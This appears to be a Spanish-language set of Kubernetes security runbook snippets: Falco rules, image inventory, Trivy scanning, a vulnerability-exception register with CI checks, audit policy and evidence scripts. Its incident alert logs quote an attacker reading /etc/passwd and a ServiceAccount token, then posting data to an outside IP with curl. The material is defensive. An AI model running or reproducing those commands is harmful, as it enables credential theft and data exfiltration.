    # Ejemplo de excepción bien acotada
    - rule: Shell abierta en contenedor de produccion
      append: true
      exceptions:
        - name: sondas_del_recolector_de_logs
          fields: [k8s.pod.label.app, proc.pname]
          comps: [=, =]
          values:
            - [fluent-bit, tini]

#!/usr/bin/env bash
# seguridad/inventario.sh — inventario de lo que corre en producción
kubectl get pods -n rutas-norte-pro -o json | jq -r '
  .items[]
  | .metadata.labels.app as $app
  | .status.containerStatuses[]?
  | "\($app)\t\(.name)\t\(.imageID)"' | sort -u

api-reservas	api	registry.rutasnorte.example/rutasnorte/api-reservas@sha256:9f2c1d4e...
api-reservas	embajador-pagos	registry.rutasnorte.example/rutasnorte/embajador-pagos@sha256:3c8e1f5a...
postgres-reservas	exportador-metricas	registry.rutasnorte.example/externas/postgres-exporter@sha256:1b4e7a2c...
postgres-reservas	postgres	registry.rutasnorte.example/externas/postgres@sha256:2a7f4c8d...
redis-cache	redis	registry.rutasnorte.example/externas/redis@sha256:6d1a3f9b...
tienda-web	nginx	registry.rutasnorte.example/externas/nginx-unprivileged@sha256:7d3b2f8e...
worker-notificaciones	adaptador-logs	registry.rutasnorte.example/rutasnorte/adaptador-logs@sha256:4f2c9e1d...
worker-notificaciones	worker	registry.rutasnorte.example/rutasnorte/worker-notificaciones@sha256:5e8a1b7c...

# Trivy puede incorporar EPSS y KEV en el informe
trivy image --scanners vuln \
  --vex repo \
  --severity CRITICAL,HIGH \
  registry.rutasnorte.example/rutasnorte/api-reservas:2.7.1

# seguridad/excepciones-vulnerabilidades.yaml
# Registro de excepciones vigentes. Revisión mensual.
# Una excepción caducada bloquea la construcción hasta que se renueva o se corrige.

excepciones:
  - cve: CVE-2025-98004
    componente: zlib1g
    imagenes: ["rutasnorte/api-reservas", "rutasnorte/worker-notificaciones"]
    severidad: LOW
    motivo: >-
      Sin corrección disponible del mantenedor. La ruta de código afectada
      (descompresión de flujos gzip malformados) no se ejecuta: la aplicación
      no descomprime contenido de origen externo.
    mitigacion: >-
      El Ingress rechaza cuerpos comprimidos superiores a 2 MB (08-04).
    aprobada_por: seguridad
    responsable: plataforma
    fecha_aprobacion: 2026-08-01
    fecha_caducidad: 2026-10-01     # OBLIGATORIA
    revision: mensual

  - cve: CVE-2026-10877
    componente: libc6
    imagenes: ["rutasnorte/api-reservas"]
    severidad: MEDIUM
    motivo: >-
      La corrección requiere subir la imagen base a Debian 13, que rompe la
      compatibilidad de una dependencia nativa. Migración planificada.
    mitigacion: >-
      El componente corre sin root, con capacidades eliminadas y sistema de
      ficheros de solo lectura (08-02).
    aprobada_por: seguridad
    responsable: equipo-api
    fecha_aprobacion: 2026-07-15
    fecha_caducidad: 2026-09-15
    tarea: PLAT-1847
    revision: quincenal

#!/usr/bin/env bash
# ci/verificar-excepciones.sh
# Falla si hay excepciones caducadas. Se ejecuta en cada construcción.
set -euo pipefail
HOY=$(date -u +%Y-%m-%d)
caducadas=0

while read -r cve caducidad responsable; do
  if [[ "$caducidad" < "$HOY" ]]; then
    echo "CADUCADA: $cve (venció el $caducidad, responsable: $responsable)"
    caducadas=$((caducadas + 1))
  fi
done < <(yq -r '.excepciones[] | "\(.cve) \(.fecha_caducidad) \(.responsable)"' \
           seguridad/excepciones-vulnerabilidades.yaml)

if [[ "$caducadas" -gt 0 ]]; then
  echo
  echo "Hay $caducadas excepciones caducadas. Corrige la vulnerabilidad o"
  echo "renueva la excepción con aprobación de seguridad antes de continuar."
  exit 1
fi
echo "Todas las excepciones vigentes."

#!/usr/bin/env bash
# seguridad/generar-evidencias-trimestrales.sh
TRIMESTRE=$(date +%Y-Q%q 2>/dev/null || date +%Y-%m)
DIR="evidencias/$TRIMESTRE"
mkdir -p "$DIR"

echo "Generando evidencias para $TRIMESTRE..."

# 1. Quién puede acceder a Secrets de producción
{
  echo "# Permisos sobre Secrets en rutas-norte-pro — $(date -u)"
  for grupo in desarrollo plataforma soporte analitica; do
    for verbo in get list watch; do
      printf "%-12s %-6s %s\n" "$grupo" "$verbo" \
        "$(kubectl auth can-i "$verbo" secrets --as-group "$grupo" --as auditor -n rutas-norte-pro)"
    done
  done
} > "$DIR/permisos-secretos.txt"

# 2. Accesos reales registrados
jq -r 'select(.objectRef.resource == "secrets" and .objectRef.namespace == "rutas-norte-pro")
  | "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.name // "TODOS") \(.responseStatus.code)"' \
  /var/log/kubernetes/auditoria.log > "$DIR/accesos-secretos.txt"

# 3. Estado de vulnerabilidades
kubectl get vulnerabilityreports -A -o json \
  | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name)\t\(.report.summary)"' \
  > "$DIR/vulnerabilidades.txt"

# 4. Excepciones vigentes
cp seguridad/excepciones-vulnerabilidades.yaml "$DIR/"

# 5. Cumplimiento del clúster
kubectl get clustercompliancereport cis -o yaml > "$DIR/cis.yaml"

# 6. Configuración de seguridad de los namespaces
kubectl get namespaces -o custom-columns=\
'NS:.metadata.name,ENFORCE:.metadata.labels.pod-security\.kubernetes\.io/enforce' \
  > "$DIR/perfiles-psa.txt"

echo "Evidencias generadas en $DIR"
sha256sum "$DIR"/* > "$DIR/CHECKSUMS.txt"

03:47:09Z  system:serviceaccount:rutas-norte-pro:worker-notificaciones  list  secrets/-  403
03:47:14Z  system:serviceaccount:rutas-norte-pro:worker-notificaciones  create  pods/exec  403
03:47:31Z  system:serviceaccount:rutas-norte-pro:worker-notificaciones  get  configmaps/worker-config  200

03:47:08.229 Critical Shell abierta en produccion (proceso=sh -c "cat /etc/passwd"
padre=node pod=worker-notificaciones-6d4f8b9c7-k9x2 ns=rutas-norte-pro)
03:47:09.884 Critical Token de ServiceAccount leido por proceso inesperado
(proceso=cat /var/run/secrets/kubernetes.io/serviceaccount/token padre=sh
pod=worker-notificaciones-6d4f8b9c7-k9x2)
03:47:12.155 Critical Herramienta de descarga en produccion (proceso=curl -X POST
https://192.0.2.55/r -d @- padre=sh pod=worker-notificaciones-6d4f8b9c7-k9x2)

03:47:12.401 rutas-norte-pro/worker-notif-k9x2 -> 192.0.2.55:443  DROPPED  Policy denied
03:47:13.455 rutas-norte-pro/worker-notif-k9x2 -> 192.0.2.55:53   DROPPED  Policy denied

apiVersion: audit.k8s.io/v1
kind: Policy
omitStages: [RequestReceived]
rules:
  # ---------------------------------------------------------------
  # REGLA A: descartar el ruido del kubelet leyendo ConfigMaps.
  # DEBE IR AL PRINCIPIO del fichero, en el bloque de None.
  # Motivo: la política se evalúa en orden y se aplica la PRIMERA
  # regla que coincide. Si esta fuera después de la regla B o de
  # cualquier regla genérica, esas lecturas ya se habrían registrado.
  # ---------------------------------------------------------------
  - level: None
    users: ["system:kubelet"]
    userGroups: ["system:nodes"]
    verbs: ["get", "list", "watch"]
    resources:
      - group: ""
        resources: ["configmaps"]

  # ... (resto del bloque de None: sondas, controladores, eventos) ...

  # ---------------------------------------------------------------
  # REGLA B: escrituras sobre CronJobs de producción, con el cuerpo.
  # Va en el bloque de reglas específicas, ANTES de las reglas
  # genéricas de nivel Metadata que capturarían estas peticiones
  # con menos detalle.
  # ---------------------------------------------------------------
  - level: Request
    verbs: ["create", "update", "patch", "delete"]
    namespaces: ["rutas-norte-pro"]
    resources:
      - group: "batch"
        resources: ["cronjobs"]

  # ... (resto de reglas específicas) ...

  # Regla genérica final
  - level: Metadata

jq -r 'select(
    .objectRef.resource == "cronjobs" and
    .objectRef.namespace == "rutas-norte-pro" and
    (.verb | test("create|update|patch|delete"))
  )
  | "=== \(.stageTimestamp)  \(.user.username)  \(.verb)  \(.objectRef.name)  [\(.responseStatus.code)]",
    "    programación: \(.requestObject.spec.schedule // "sin cambio")",
    "    imagen: \(.requestObject.spec.jobTemplate.spec.template.spec.containers[0].image // "sin cambio")",
    "    suspendido: \(.requestObject.spec.suspend // false)"' \
  /var/log/kubernetes/auditoria.log

=== 2026-08-05T18:22:41Z  [email protected]  patch  informes-ocupacion  [200]
    programación: 0 4 * * *
    imagen: registry.rutasnorte.example/rutasnorte/informes-ocupacion@sha256:8a3f...
    suspendido: false
=== 2026-08-06T02:11:09Z  system:serviceaccount:argocd:argocd-application-controller  patch  informes-ocupacion  [200]
    programación: 0 3 * * *
    imagen: registry.rutasnorte.example/rutasnorte/informes-ocupacion@sha256:8a3f...
    suspendido: false

kubectl exec -n rutas-norte-pro deploy/tienda-web -- \
  grep -r server_tokens /etc/nginx/ || echo "no configurado (valor por defecto: on)"

  - cve: CVE-2026-12988
    componente: openssl
    imagenes: ["rutasnorte/worker-notificaciones"]
    severidad: CRITICAL
    cvss: 9.4
    estado_correccion: affected   # sin parche del mantenedor
    motivo: >-
      La vulnerabilidad afecta a la ruta de verificación de certificados de
      CLIENTE, que solo se ejecuta cuando el proceso actúa como servidor TLS.
      worker-notificaciones únicamente abre conexiones salientes hacia el
      servidor SMTP del proveedor, actuando siempre como cliente. La ruta de
      código vulnerable no se ejecuta.
      Verificado por: revisión del código de la aplicación y del SBOM.
    mitigacion: >-
      El componente no acepta conexiones entrantes (NetworkPolicy sin reglas
      de Ingress, 08-04). Corre sin root, con capacidades eliminadas y sistema
      de ficheros de solo lectura (08-02).
    aprobada_por: seguridad
    responsable: plataforma
    fecha_aprobacion: 2026-08-06
    fecha_caducidad: 2026-09-06     # revisión mensual: puede salir el parche
    revision: mensual
    seguimiento: >-
      Comprobar semanalmente si el mantenedor publica corrección. En cuanto
      exista, esta excepción se cierra y pasa a P2.

# ¿Qué digest está corriendo realmente?
kubectl get pod -n rutas-norte-pro worker-notificaciones-6d4f8b9c7-k9x2 \
  -o jsonpath='{.status.containerStatuses[?(@.name=="worker")].imageID}{"\n"}'

# ¿Coincide con el que firmó la canalización?
cosign verify \
  --certificate-identity-regexp "https://git.rutasnorte.example/plataforma/.*" \
  --certificate-oidc-issuer "https://git.rutasnorte.example" \
  "<el digest anterior>"

# ¿La imagen tiene shell?
trivy image --list-all-pkgs "<el digest>" | grep -E 'busybox|bash|coreutils|curl'